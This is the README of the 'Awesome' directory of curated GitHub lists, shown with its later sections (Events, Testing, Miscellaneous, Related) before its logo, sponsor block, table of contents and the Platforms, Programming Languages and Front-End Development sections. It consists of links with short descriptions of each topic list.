- [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
- [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
- [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress.
## Related
- [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub.
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
|
<div align="center">
<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
<br>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
</p>
<sup>Special thanks to:</sup>
<br>
<br>
<a href="https://standardresume.co/tech">
<img src="https://sindresorhus.com/assets/thanks/standard-resume-logo.svg" width="160"/>
</a>
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<a href="https://retool.com/?utm_campaign=sindresorhus">
<img src="https://sindresorhus.com/assets/thanks/retool-logo.svg" width="210"/>
</a>
<br>
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<a href="https://doppler.com/?utm_campaign=github_repo&utm_medium=referral&utm_content=awesome&utm_source=github">
<div>
<img src="https://dashboard.doppler.com/imgs/logo-long.svg" width="240" alt="Doppler">
</div>
<b>All your environment variables, in one place</b>
<div>
<sub>Stop struggling with scattered API keys, hacking together home-brewed tools,</sub>
<br>
<sup>and avoiding access controls. Keep your team and servers in sync with Doppler.</sup>
</div>
</a>
</p>
<br>
<br>
<br>
<br>
</div>
<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
</p>
<br>
<div align="center">
<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
</div>
<br>
<p align="center">
<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/inputsh/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
- [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s.
- [Nix](https://github.com/nix-community/awesome-nix#readme) - Package manager for Linux and other Unix systems that makes package management reliable and reproducible.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/inputsh/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics.
- [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme)
- [D](https://github.com/dlang-community/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
